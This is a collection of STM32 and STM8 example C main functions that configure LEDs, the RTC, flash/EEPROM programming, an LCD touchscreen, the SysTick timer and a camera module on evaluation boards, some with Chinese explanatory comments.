/** * @brief Execute the demo application. * @param None * @retval None */ static void Demo_Exec(void) { RCC_ClocksTypeDef RCC_Clocks; uint8_t togglecounter = 0x00; while(1) { DemoEnterCondition = 0x00; /* Reset UserButton_Pressed variable */ UserButtonPressed = 0x00; /* Initialize LEDs to be managed by GPIO */ STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* Turn OFF all LEDs */ STM_EVAL_LEDOff(LED4); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED5); STM_EVAL_LEDOff(LED6); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) { /* Toggle LED4 */ STM_EVAL_LEDToggle(LED4); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED3); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED5); Delay(10); /* Toggle LED4 */ STM_EVAL_LEDToggle(LED6); Delay(10); togglecounter ++; if (togglecounter == 0x10) { togglecounter = 0x00; while (togglecounter < 0x10) { STM_EVAL_LEDToggle(LED4); STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED5); STM_EVAL_LEDToggle(LED6); Delay(10); togglecounter ++; } togglecounter = 0x00; } } /* Waiting User Button is Released */ while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {} UserButtonPressed = 0x00; /* TIM4 channels configuration */ TIM4_Config(); /* Disable all Timer4 channels */ TIM_CCxCmd(TIM4, TIM_Channel_1, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_2, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_3, DISABLE); TIM_CCxCmd(TIM4, TIM_Channel_4, DISABLE); /* MEMS configuration */ LIS302DL_InitStruct.Power_Mode = LIS302DL_LOWPOWERMODE_ACTIVE; LIS302DL_InitStruct.Output_DataRate = LIS302DL_DATARATE_100; LIS302DL_InitStruct.Axes_Enable = LIS302DL_XYZ_ENABLE; LIS302DL_InitStruct.Full_Scale = LIS302DL_FULLSCALE_2_3; LIS302DL_InitStruct.Self_Test = LIS302DL_SELFTEST_NORMAL; LIS302DL_Init(&LIS302DL_InitStruct); /* Required delay for the MEMS Accelerometre: Turn-on time = 3/Output data Rate = 3/100 = 30ms */ Delay(30); DemoEnterCondition = 0x01; /* MEMS High Pass Filter configuration */ LIS302DL_FilterStruct.HighPassFilter_Data_Selection = LIS302DL_FILTEREDDATASELECTION_OUTPUTREGISTER; LIS302DL_FilterStruct.HighPassFilter_CutOff_Frequency = LIS302DL_HIGHPASSFILTER_LEVEL_1; LIS302DL_FilterStruct.HighPassFilter_Interrupt = LIS302DL_HIGHPASSFILTERINTERRUPT_1_2; LIS302DL_FilterConfig(&LIS302DL_FilterStruct); LIS302DL_Read(Buffer, LIS302DL_OUT_X_ADDR, 6); X_Offset = Buffer[0]; Y_Offset = Buffer[2]; Z_Offset = Buffer[4]; /* USB configuration */ Demo_USBConfig(); /* Waiting User Button is pressed */ while (UserButtonPressed == 0x00) {} /* Waiting User Button is Released */ while (STM_EVAL_PBGetState(BUTTON_USER) == Bit_SET) {} /* Disable SPI1 used to drive the MEMS accelerometre */ SPI_Cmd(LIS302DL_SPI, DISABLE); /* Disconnect the USB device */ DCD_DevDisconnect(&USB_OTG_dev); USB_OTG_StopDevice(&USB_OTG_dev); } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f30x.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f30x.c file */ /* LEDs Init */ STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); STM_EVAL_LEDInit(LED7); STM_EVAL_LEDInit(LED8); STM_EVAL_LEDInit(LED9); STM_EVAL_LEDInit(LED10); /* Enable PWR APB1 Clock */ RCC_APB1PeriphClockCmd(RCC_APB1Periph_PWR, ENABLE); /* Allow access to Backup */ PWR_BackupAccessCmd(ENABLE); /* Reset RTC Domain */ RCC_BackupResetCmd(ENABLE); RCC_BackupResetCmd(DISABLE); /* Allow access to RTC */ PWR_BackupAccessCmd(ENABLE); /* The RTC Clock may varies due to LSI frequency dispersion */ /* Enable the LSI OSC */ RCC_LSICmd(ENABLE); /* Wait till LSI is ready */ while(RCC_GetFlagStatus(RCC_FLAG_LSIRDY) == RESET) { } /* Select the RTC Clock Source */ RCC_RTCCLKConfig(RCC_RTCCLKSource_LSI); /* Enable the RTC Clock */ RCC_RTCCLKCmd(ENABLE); /* Wait for RTC APB registers synchronisation */ RTC_WaitForSynchro(); /* RTC prescaler configuration */ RTC_InitStructure.RTC_HourFormat = RTC_HourFormat_24; RTC_InitStructure.RTC_AsynchPrediv = 88; RTC_InitStructure.RTC_SynchPrediv = 470; RTC_Init(&RTC_InitStructure); /* Set the alarm 01h:00min:04s */ RTC_AlarmStructure.RTC_AlarmTime.RTC_H12 = RTC_H12_AM; RTC_AlarmStructure.RTC_AlarmTime.RTC_Hours = 0x01; RTC_AlarmStructure.RTC_AlarmTime.RTC_Minutes = 0x00; RTC_AlarmStructure.RTC_AlarmTime.RTC_Seconds = 0x04; RTC_AlarmStructure.RTC_AlarmDateWeekDay = 0x31; RTC_AlarmStructure.RTC_AlarmDateWeekDaySel = RTC_AlarmDateWeekDaySel_Date; /* Alarm mask hour, min and second:default Alarm generation each 1s */ RTC_AlarmStructure.RTC_AlarmMask = RTC_AlarmMask_All; RTC_SetAlarm(RTC_Format_BCD, RTC_Alarm_A, &RTC_AlarmStructure); /* Enable RTC Alarm A Interrupt */ RTC_ITConfig(RTC_IT_ALRA, ENABLE); /* Enable the alarm */ RTC_AlarmCmd(RTC_Alarm_A, ENABLE); /* Set the date: Wednesday August 15th 2012 */ RTC_DateStructure.RTC_Year = 12; RTC_DateStructure.RTC_Month = RTC_Month_September; RTC_DateStructure.RTC_Date = 11; RTC_DateStructure.RTC_WeekDay = RTC_Weekday_Tuesday; RTC_SetDate(RTC_Format_BCD, &RTC_DateStructure); /* Set the time to 01h 00mn 00s AM */ RTC_TimeStructure.RTC_H12 = RTC_H12_AM; RTC_TimeStructure.RTC_Hours = 0x01; RTC_TimeStructure.RTC_Minutes = 0x00; RTC_TimeStructure.RTC_Seconds = 0x00; RTC_SetTime(RTC_Format_BCD, &RTC_TimeStructure); RTC_ClearFlag(RTC_FLAG_ALRAF); /* RTC Alarm A Interrupt Configuration */ /* EXTI configuration */ EXTI_ClearITPendingBit(EXTI_Line17); EXTI_InitStructure.EXTI_Line = EXTI_Line17; EXTI_InitStructure.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStructure.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStructure.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStructure); /* Enable the RTC Alarm Interrupt */ NVIC_InitStructure.NVIC_IRQChannel = RTC_Alarm_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); /* Infinite loop */ while (1) { /* Get the RTC current Time */ RTC_GetTime(RTC_Format_BCD, &RTC_TimeStructure); /* Get the RTC current Date */ RTC_GetDate(RTC_Format_BCD, &RTC_DateStructure); /* Display time Format : hh:mm:ss */ sprintf((char*)showtime,"%0.2d:%0.2d:%0.2d",RTC_TimeStructure.RTC_Hours, RTC_TimeStructure.RTC_Minutes, RTC_TimeStructure.RTC_Seconds); /* Display date Format : mm-dd-yy */ sprintf((char*)showdate,"%0.2d-%0.2d-%0.2d",RTC_DateStructure.RTC_Month, RTC_DateStructure.RTC_Date, 2000 + RTC_DateStructure.RTC_Year); } }
/** * @brief Main program. * @param None * @retval None */ void main(void) { uint32_t add, startadd, stopadd = 0; uint8_t newval = 0xAA; uint8_t i = 0; #ifdef _COSMIC_ /* Call the _fctcpy() function with the first segment character as parameter "_fctcpy('F');" for a manual copy of the declared moveable code segment (FLASH_CODE) in RAM before execution*/ _fctcpy('F'); #endif /*_COSMIC_*/ #ifdef _RAISONANCE_ /* Call the standard C library: memcpy() or fmemcpy() functions available through the <string.h> to copy the inram function to the RAM destination address */ MEMCPY(FLASH_EraseBlock, (void PointerAttr*)&__address__FLASH_EraseBlock, (int)&__size__FLASH_EraseBlock); MEMCPY(FLASH_ProgramBlock, (void PointerAttr*)&__address__FLASH_ProgramBlock, (int)&__size__FLASH_ProgramBlock); #endif /*_RAISONANCE_*/ /* Initialize I/Os in Output Mode */ STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* High speed internal clock prescaler */ CLK_SYSCLKDivConfig(CLK_SYSCLKDiv_1); /* Define flash programming Time*/ FLASH_SetProgrammingTime(FLASH_ProgramTime_Standard); FLASH_Unlock(FLASH_MemType_Program); /* Wait until Flash Program area unlocked flag is set*/ while (FLASH_GetFlagStatus(FLASH_FLAG_PUL) == RESET) {} /* Unlock flash data eeprom memory */ FLASH_Unlock(FLASH_MemType_Data); /* Wait until Data EEPROM area unlocked flag is set*/ while (FLASH_GetFlagStatus(FLASH_FLAG_DUL) == RESET) {} /* Fill the buffer in RAM */ for (i = 0; i < FLASH_BLOCK_SIZE; i++) { GBuffer[i] = newval; } /* This function is executed from RAM */ FLASH_ProgramBlock(BLOCK_OPERATION, FLASH_MemType_Data, FLASH_ProgramMode_Standard, GBuffer); /* Wait until End of high voltage flag is set*/ while (FLASH_GetFlagStatus(FLASH_FLAG_HVOFF) == RESET) {} /* Check the programmed block */ startadd = FLASH_DATA_EEPROM_START_PHYSICAL_ADDRESS + ((uint16_t)BLOCK_OPERATION * (uint16_t)FLASH_BLOCK_SIZE); stopadd = startadd + (uint16_t)FLASH_BLOCK_SIZE; for (add = startadd; add < stopadd; add++) { if (FLASH_ReadByte(add) != newval) { /* Error */ OperationStatus = FAILED; /* OperationStatus = PASSED, if the data written/read to/from Flash program memory is correct */ /* OperationStatus = FAILED, if the data written/read to/from Flash program memory is corrupted */ while (1) { STM_EVAL_LEDToggle(LED1); /*FAIL: write error */ Delay(0xFFFF); } } } /* Erase block 0 and verify it */ /* This function is executed from RAM */ FLASH_EraseBlock(BLOCK_OPERATION, FLASH_MemType_Data); /* Wait until End of high voltage flag is set*/ while (FLASH_GetFlagStatus(FLASH_FLAG_HVOFF) == RESET) {} for (add = startadd; add < stopadd; add++) { if (FLASH_ReadByte(add) != 0x00) { /* Error */ OperationStatus = FAILED; /* OperationStatus = PASSED, if the data written/read to/from Flash program memory is correct */ /* OperationStatus = FAILED, if the data written/read to/from Flash program memory is corrupted */ while (1) { STM_EVAL_LEDToggle(LED2); /* FAIL: Erase error */ Delay(0xFFFF); } } } /* Pass */ OperationStatus = PASSED; /* OperationStatus = PASSED, if the data written/read to/from Flash program memory is correct */ /* OperationStatus = FAILED, if the data written/read to/from Flash program memory is corrupted */ while (1) { STM_EVAL_LEDToggle(LED3); /* PASS: without errors*/ Delay(0xFFFF); } }
/** * @brief Main program. * @param None * @retval None */ int main(void) { /* Initialize LEDs and push-buttons mounted on STM3210X-EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); /* Initialize the LCD */ #ifdef USE_STM3210C_EVAL STM3210C_LCD_Init(); #elif defined (USE_STM32100E_EVAL) STM32100E_LCD_Init(); #endif /* USE_STM3210C_EVAL */ /* Clear the LCD */ LCD_Clear(White); /* Set the LCD Back Color */ LCD_SetBackColor(Blue); /* Set the LCD Text Color */ LCD_SetTextColor(White); /* Display messages on the LCD */ LCD_DisplayStringLine(Line0, MESSAGE1); LCD_DisplayStringLine(Line1, MESSAGE2); LCD_DisplayStringLine(Line2, MESSAGE3); /* Configure the IO Expander */ if (IOE_Config() == IOE_OK) { /* Display "IO Expander OK" on the LCD */ LCD_DisplayStringLine(Line4, " IO Expander OK "); } else { LCD_DisplayStringLine(Line4, "IO Expander FAILED "); LCD_DisplayStringLine(Line5, " Please Reset the "); LCD_DisplayStringLine(Line6, " board and start "); LCD_DisplayStringLine(Line7, " again "); while(1); } /* Draw a rectangle with the specifies parametres and Blue Color */ LCD_SetTextColor(Blue); LCD_DrawRect(180, 310, 40, 60); /* Draw a rectangle with the specifies parametres and Red Color */ LCD_SetTextColor(Red); LCD_DrawRect(180, 230, 40, 60); /* Draw a rectangle with the specifies parametres and Yellow Color */ LCD_SetTextColor(Yellow); LCD_DrawRect(180, 150, 40, 60); /* Draw a rectangle with the specifies parametres and Black Color */ LCD_SetTextColor(Black); LCD_DrawRect(180, 70, 40, 60); #ifdef IOE_INTERRUPT_MODE #ifdef USE_STM32100E_EVAL /* Enable the Touch Screen interrupts */ IOE_ITConfig(IOE_ITSRC_TSC); #else /* Enable the Touch Screen and Joystick interrupts */ IOE_ITConfig(IOE_ITSRC_JOYSTICK | IOE_ITSRC_TSC); #endif /* USE_STM32100E_EVAL */ #endif /* IOE_INTERRUPT_MODE */ /* Loop infinitely */ while(1) { #ifdef IOE_POLLING_MODE static TS_STATE* TS_State; #ifdef USE_STM3210C_EVAL static JOY_State_TypeDef JoyState = JOY_NONE; /* Get the Joytick State */ JoyState = IOE_JoyStickGetState(); switch (JoyState) { /* None Joyestick has been selected */ case JOY_NONE: LCD_DisplayStringLine(Line5, "JOY: ---- "); break; case JOY_UP: LCD_DisplayStringLine(Line5, "JOY: UP "); break; case JOY_DOWN: LCD_DisplayStringLine(Line5, "JOY: DOWN "); break; case JOY_LEFT: LCD_DisplayStringLine(Line5, "JOY: LEFT "); break; case JOY_RIGHT: LCD_DisplayStringLine(Line5, "JOY: RIGHT "); break; case JOY_CENTER: LCD_DisplayStringLine(Line5, "JOY: CENTER "); break; default: LCD_DisplayStringLine(Line5, "JOY: ERROR "); break; } #endif /* USE_STM3210C_EVAL */ /* Update the structure with the current position of the Touch screen */ TS_State = IOE_TS_GetState(); if ((TS_State->TouchDetected) && (TS_State->Y < 220) && (TS_State->Y > 180)) { if ((TS_State->X > 10) && (TS_State->X < 70)) { /* Display LD4 on the LCD and turn on LED4 */ LCD_DisplayStringLine(Line6, " LD4 "); STM_EVAL_LEDOn(LED4); } else if ((TS_State->X > 90) && (TS_State->X < 150)) { /* Display LD3 on the LCD and turn on LED3 */ LCD_DisplayStringLine(Line6, " LD3 "); STM_EVAL_LEDOn(LED3); } else if ((TS_State->X > 170) && (TS_State->X < 230)) { /* Display LD2 on the LCD and turn on LED2 */ LCD_DisplayStringLine(Line6, " LD2 "); STM_EVAL_LEDOn(LED2); } else if ((TS_State->X > 250) && (TS_State->X < 310)) { /* Display LD1 on the LCD and turn on LED1 */ LCD_DisplayStringLine(Line6, " LD1 "); STM_EVAL_LEDOn(LED1); } } else { /* Turn off LED1..4 */ STM_EVAL_LEDOff(LED1); STM_EVAL_LEDOff(LED2); STM_EVAL_LEDOff(LED3); STM_EVAL_LEDOff(LED4); } #endif /* IOE_POLLING_MODE */ } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup file (startup_stm32f4xx.s) before to branch to application main. To reconfigure the default setting of SystemInit() function, refer to system_stm32f4xx.c file */ /* Initialize Leds mounted on STM32F4-Discovery board */ STM_EVAL_LEDInit(LED4); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED5); STM_EVAL_LEDInit(LED6); /* Turn on LED4 and LED5 */ STM_EVAL_LEDOn(LED4); STM_EVAL_LEDOn(LED5); // CMSIS 算是 ARM 所提供的 Hardware Abstruction Layer. // SysTick Timer is "1 msec interrupts". /* Setup SysTick Timer for 1 msec interrupts. ------------------------------------------ 1. The SysTick_Config() function is a CMSIS function which configure: - The SysTick Reload register with value passed as function parameter. - Configure the SysTick IRQ priority to the lowest value (0x0F). - Reset the SysTick Counter register. - Configure the SysTick Counter clock source to be Core Clock Source (HCLK). - Enable the SysTick Interrupt. - Start the SysTick Counter. 2. You can change the SysTick Clock source to be HCLK_Div8 by calling the SysTick_CLKSourceConfig(SysTick_CLKSource_HCLK_Div8) just after the SysTick_Config() function call. The SysTick_CLKSourceConfig() is defined inside the misc.c file. 3. You can change the SysTick IRQ priority by calling the NVIC_SetPriority(SysTick_IRQn,...) just after the SysTick_Config() function call. The NVIC_SetPriority() is defined inside the core_cm4.h file. 4. To adjust the SysTick time base, use the following formula: Reload Value = SysTick Counter Clock (Hz) x Desired Time base (s) - Reload Value is the parameter to be passed for SysTick_Config() function - Reload Value should not exceed 0xFFFFFF */ // "Reload Value = SysTick Counter Clock (Hz) x Desired Time base (s)" // Input: ticks Number of ticks between two interrupts // 意思應該是指,要在多少個 Tick 產生一個 interrupt // 因此在 input 的部分,會和 CPU Clock Rate(Cycle) 有關係 // 168 MHz = 一秒鐘 168 百萬個 Tick // 這邊的範例是 1 msec 產生一個 interrupt,而 1 msec 為 168 * 10^6 / 1000 個 Tick if (SysTick_Config(SystemCoreClock / 1000)) { /* Capture error */ while (1); } while (1) { /* Toggle LED3 and LED6 */ STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED6); // Delay 需要和 System Tick Interrupt + TimingDelay + Decrements Function 互相搭配 /* Insert 50 ms delay */ Delay(50); /* Toggle LED4 and LED5 */ STM_EVAL_LEDToggle(LED4); STM_EVAL_LEDToggle(LED5); // Delay 需要和 System Tick Interrupt + TimingDelay + Decrements Function 互相搭配 /* Insert 100 ms delay */ Delay(100); } }
/** * @brief Main program * @param None * @retval None */ int main(void) { /*!< At this stage the microcontroller clock setting is already configured, this is done through SystemInit() function which is called from startup files (startup_stm32f40_41xxx.s/startup_stm32f427_437xx.s/startup_stm32f429_439xx.s) before to branch to application main. */ /* SysTick end of count event each 10ms */ RCC_GetClocksFreq(&RCC_Clocks); SysTick_Config(RCC_Clocks.HCLK_Frequency / 100); /* Initialize LEDs mounted on EVAL board */ STM_EVAL_LEDInit(LED1); STM_EVAL_LEDInit(LED2); STM_EVAL_LEDInit(LED3); STM_EVAL_LEDInit(LED4); STM_EVAL_LEDOn(LED1); /* Initialize the LCD */ LCD_Init(); LCD_Clear(Black); LCD_SetTextColor(White); LCD_LOG_SetHeader((uint8_t*)"STM32 Camera Demo"); LCD_LOG_SetFooter ((uint8_t*)" Copyright (c) STMicroelectronics" ); /* ADC configuration */ ADC_Config(); /* Initializes the DCMI interface (I2C and GPIO) used to configure the camera */ OV2640_HW_Init(); /* Read the OV9655/OV2640 Manufacturer identifier */ OV9655_ReadID(&OV9655_Camera_ID); OV2640_ReadID(&OV2640_Camera_ID); if(OV9655_Camera_ID.PID == 0x96) { Camera = OV9655_CAMERA; sprintf((char*)abuffer, "OV9655 Camera ID 0x%x", OV9655_Camera_ID.PID); ValueMax = 2; } else if(OV2640_Camera_ID.PIDH == 0x26) { Camera = OV2640_CAMERA; sprintf((char*)abuffer, "OV2640 Camera ID 0x%x", OV2640_Camera_ID.PIDH); ValueMax = 2; } else { LCD_SetTextColor(LCD_COLOR_RED); LCD_DisplayStringLine(LINE(4), (uint8_t*)"Check the Camera HW and try again"); while(1); } LCD_SetTextColor(LCD_COLOR_YELLOW); LCD_DisplayStringLine(LINE(4), (uint8_t*)abuffer); LCD_SetTextColor(LCD_COLOR_WHITE); Delay(200); /* Initialize demo */ ImageFormat = (ImageFormat_TypeDef)Demo_Init(); /* Configure the Camera module mounted on STM324xG-EVAL/STM324x7I-EVAL boards */ Demo_LCD_Clear(); LCD_DisplayStringLine(LINE(4), (uint8_t*)"Camera Init.. "); Camera_Config(); sprintf((char*)abuffer, " Image selected: %s", ImageForematArray[ImageFormat]); LCD_DisplayStringLine(LINE(4),(uint8_t*)abuffer); /* Enable DMA2 stream 1 and DCMI interface then start image capture */ DMA_Cmd(DMA2_Stream1, ENABLE); DCMI_Cmd(ENABLE); /* Insert 100ms delay: wait 100ms */ Delay(200); DCMI_CaptureCmd(ENABLE); LCD_ClearLine(LINE(4)); Demo_LCD_Clear(); if(ImageFormat == BMP_QQVGA) { /* LCD Display window */ LCD_SetDisplayWindow(179, 239, 120, 160); LCD_WriteReg(LCD_REG_3, 0x1038); LCD_WriteRAM_Prepare(); } else if(ImageFormat == BMP_QVGA) { /* LCD Display window */ LCD_SetDisplayWindow(239, 319, 240, 320); LCD_WriteReg(LCD_REG_3, 0x1038); LCD_WriteRAM_Prepare(); } while(1) { /* Blink LD1, LED2 and LED4 */ STM_EVAL_LEDToggle(LED1); STM_EVAL_LEDToggle(LED2); STM_EVAL_LEDToggle(LED3); STM_EVAL_LEDToggle(LED4); /* Insert 100ms delay */ Delay(10); /* Get the last ADC3 conversion result data */ uhADCVal = ADC_GetConversionValue(ADC3); /* Change the Brightness of camera using "Brightness Adjustment" register: For OV9655 camera Brightness can be positively (0x01 ~ 0x7F) and negatively (0x80 ~ 0xFF) adjusted For OV2640 camera Brightness can be positively (0x20 ~ 0x40) and negatively (0 ~ 0x20) adjusted */ if(Camera == OV9655_CAMERA) { OV9655_BrightnessConfig(uhADCVal); } if(Camera == OV2640_CAMERA) { OV2640_BrightnessConfig(uhADCVal/2); } } }